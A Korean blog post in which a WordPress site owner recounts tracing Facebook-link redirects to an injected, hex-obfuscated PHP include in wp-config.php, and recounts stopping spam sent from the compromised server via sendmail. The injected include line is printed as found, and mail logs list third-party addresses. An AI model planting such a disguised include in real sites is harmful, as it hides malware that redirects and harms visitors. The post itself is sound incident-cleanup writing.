페이스북을 타고 들어오면 리다이렉션 되던 문제

해커와의 전쟁

몇일째 채굴 공격을 막느라 정신이 없었다. 이번을 개기로 서버보안에 좀더 신경을 쓰게 된 개기가 된것 같다. 아무튼 내 블로그 곳곳엔 여전히 헛점이 있다. 11년전 서버에 대한 지식이 전무한 상태에서 워드프레스를 설치한게 화근이지싶다. 그땐 이거저거 해보겠다고 퍼미션도 777인 곳이 많았고 766도 많았다.

발단의 원인

일단 퍼미션이 엉망이었다는 것이 재앙인데 퍼미션이 엉망이기 때문에 해커들이 맘대로 내 서버에 파일도 올리고 실행도 시키고,..미안하다..ㅜㅜ
아무튼 해커와의 전쟁을 선포하고 워드프레스 폴더 곳곳을 find 명령으로 뒤져가며 php 파일명이 이상한 형태가 있는지 전부 찾아서 지웠다.

어떤 이상한 파일들이 있었는지는 지난 글을 참고하자.

여전히 풀리지 않는 리다이렉션 문제

이제 남은 건 페이스북에 링크된 글이 이상한 사이트로 넘어가는 문제만 남았다. 나도 몇번 겪어봤고 이상하다 싶었는데 그사이 신고도 3건이나 접수됐다. 그래서 제대로 잡아보자 싶어서 한번만 더 걸려라! 하는 심정으로 기다렸다. 그리고 드디어 잡았다!! 올타커니!!!

먼저 문제가 발생한 시간의 액세스 로그를 뒤졌다.

[27/Dec/2017:14:51:09 +0000] 200 211.243.39.14 http://m.facebook.com GET 
/archives/2017/12/nginx-%EC%99%80-php-fpm-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EB%85%B8%EB%A6%B0-%EC%B1%84%EA%B5%B4-%EA%B3%B5%EA%B2%A9/ 
HTTP/1.1 407 Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) 
Mobile/15C114 [FBAN/FBIOS;FBAV/153.0.0.53.87;FBBV/84268146;FBDV/iPad4,4;FBMD/iPad;FBSN/iOS;FBSV/11.2;FBSS/2;FBCR/;FBID/tablet;FBLC/ko_KR;FBOP/5;FBRV/0]

로그에 찍힌 이상한 에이전트는 검색을 통해 페이스북 앱임을 확인했고, 액세스 로그에 레퍼러(referer)가 제대로 찍힌걸 봐서는 링크는 제대로 타고 들어왔다. 고로 페이스북 문제는 아니다. 이제 문제는 내 서버에 설치된 워드프레스다. 분명 워드프레스가 리다이렉션 시키는 것 같다. 어떻게 그게 가능한지는 모르겠지만,.. 파일 업로드도 지맘대로 하는 판에 기존 파일을 수정하지 말라는 법도 없지 않나?

리다이렉션 말웨어(스파이웨어)

검색을 좀 해봤다.

https://fixmywp.com/blog/detect-clean-wordpress-malware-redirect.php

그랬더니 역시 있다! 나와 비슷한 증상을 겪는 문제가 워드프레스에서 심상치않게 발견되고 있나보다.

If a file is added, it’s often named to look like a legitimate file like that’s the part of WordPress core files. The file could be named sunrise.php, wp-users.php, wp-system or wp-configuration.php or something similar.

위에 나열된 파일은 다행이 없었다. 그리고 이제 남은건 아래 파일들… 모두 찾아봤다.

Typically hackers add the malicious scripts to .htaccess, wp-includes, wp-content/themes, wp-content/plugins or wp-content/uploads folders, or may also change your wp-config.php file.

그런데 뚜둥~!! wp-config.php 파일이 변조되어 있다!! 대박!! 이게 정말 가능한거구나… 놀랍다.

<?php
/*1008f*/

@include "\x2fva\x72/w\x77w/\x6egi\x6ex_\x72oo\x74/w\x70/w\x70-c\x6fnt\x65nt\x2fca\x63he\x2ffa\x76ic\x6fn_\x63ec\x652c\x2eic\x6f";

/*1008f*/^M

일단 변조된 부분을 지우고 다시 페북으로 링크를 걸어봐야겠다. 과연….

테스트 결과 성공적!

일단 몇번을 테스트해봤지만 문제는 없는것 같다. 그리고 검색에서 찾은 사이트에서 소개한 스파이웨어 스캔 사이트(https://quttera.com/)로 돌려봤더니… 7개 파일에서 의심스러운 코드가 발견됐다는 보고서를 받았는데, 다행히 내가 먼저 발견해서 지웠다!! wp-config.php 파일에 붙어서 여러 링크에 들어간것 같다.
아무튼 다행이야!! 이런게 하나 또 배운다!!

[TIL] 스팸메일 발송에 의한 사이트 다운 현상

몇일전부터 블로그가 자꾸 죽는 문제가 발생해서 프로세스 목록을 살펴보니 sendmail 프로세스 수십개가 떠 있었다.

혹시나 싶어서 로그를 열어보니…

tail -f /var/log/maillog

뭐지? 이쎄한 느낌은,… 172…로 보내는건 내가 보내고 있는거잖아! -_-;…

Oct 18 03:49:50 ip-172-31-5-227 sendmail[4724]: v9I3nobO004724: to=brownjerry359@yahoo.com, ctladdr=armaan.h@miconblog.com (498/498), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=32155, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4725]: v9I3noaq004725: Authentication-Warning: ip-172-31-5-227.ap-northeast-1.compute.internal: nginx set sender to armaan.h@miconblog.com using -f
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4725]: v9I3noaq004725: from=armaan.h@miconblog.com, size=2125, class=0, nrcpts=1, msgid=<d8462c873023f84d2f56c38bc80cd9b2@miconblog.com>, relay=nginx@localhost
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4725]: v9I3noaq004725: to=rdsjets@gmail.com, ctladdr=armaan.h@miconblog.com (498/498), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=32125, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4726]: v9I3nosf004726: Authentication-Warning: ip-172-31-5-227.ap-northeast-1.compute.internal: nginx set sender to armaan.h@miconblog.com using -f
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4726]: v9I3nosf004726: from=armaan.h@miconblog.com, size=2184, class=0, nrcpts=1, msgid=<51ad53d80a417ec81c68421db28d9432@miconblog.com>, relay=nginx@localhost
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4726]: v9I3nosf004726: to=livingvampire@hotmail.com, ctladdr=armaan.h@miconblog.com (498/498), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=32184, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4727]: v9I3noQL004727: Authentication-Warning: ip-172-31-5-227.ap-northeast-1.compute.internal: nginx set sender to armaan.h@miconblog.com using -f
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4727]: v9I3noQL004727: from=armaan.h@miconblog.com, size=2127, class=0, nrcpts=1, msgid=<dd97de13b625fd97de59cf2a002743c9@miconblog.com>, relay=nginx@localhost
Oct 18 03:49:50 ip-172-31-5-227 sendmail[4727]: v9I3noQL004727: to=hanklan@hotmail.com, ctladdr=armaan.h@miconblog.com (498/498), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=32127, relay=[127.0.0.1] [127.0.0.1], dsn=4.0.0, stat=Deferred: Connection refused by [127.0.0.1]

해킹 당한건가? 그럴리가 없는데,.. 80포트 밖에 열어둔게 없는데 이런게 가능한걸까?

다행인건 sendmail 설정이 유효하지 않아서 발송된 메일이 전부 거절 당했다. 덕분에 보내진 메일은 응답을 받기위해 프로세스를 들고 있다가 타임아웃이 하나둘 걸리면서 행이 걸린거 같다. 줵일~

샌드메일 발송부터 해결하자.

일단 급한대로 sendmail 데몬부터 내렸다.

$> service sendmail stop 

그리고 매번 리부팅할때마다 샌드메일 데몬이 뜨길래 아예 지워버렸다.

$> yum remove sendmail

원인이 뭐였을까?

기억을 더듬어 봤다. 아마도 예전에 워드프레스에서 댓글이 달리거나 이럴때 메일을 받았으면 해서 직접 sendmail을 설정해볼까 싶어서 설치했던 기억이 났다.
그리고 아니나다를까 워드프레스 플러그인 항목에 버젓이 Check email 플러그인이 똭~!!
아마도 이 녀석이 범인인것 같다. access 로그에도 남았겠다싶어서 확인해봤다.

[18/Oct/2017:03:52:30 +0000] 200 211.243.39.14 http://miconblog.com/wp-admin/tools.php GET /wp-admin/tools.php?page=checkemail HTTP/1.1 9689 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
[18/Oct/2017:03:52:31 +0000] 200 211.243.39.14 http://miconblog.com/wp-admin/tools.php?page=checkemail GET /wp-json/jetpack/v4/jitm?message_path=wp%3Atools_page_checkemail%3Aadmin_notices&query=page%253Dcheckemail&_wpnonce=4bad6409be HTTP/1.1 12 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
[18/Oct/2017:03:53:31 +0000] 200 211.243.39.14 http://miconblog.com/wp-admin/tools.php?page=checkemail POST /wp-admin/admin-ajax.php HTTP/1.1 58 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
[18/Oct/2017:03:53:32 +0000] 200 211.243.39.14 http://miconblog.com/wp-admin/tools.php?page=checkemail GET /wp-admin/options-general.php HTTP/1.1 21614 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36

역시나 뭔가 흔적이 남아있다. checkemail 플러그인을 바로 삭제하고 범인 수색을 더 해봐야겠다. 블로그를 독립시키던가 해야지 이 녀석 때문에 엄한 내 다른 서비스들도 같이 피해를 봤다 -_-;..
DB서버를 독립시키든지 블로그를 독립시키든지 빠른시일에 해야겠다.. 아우~ 귀찮아.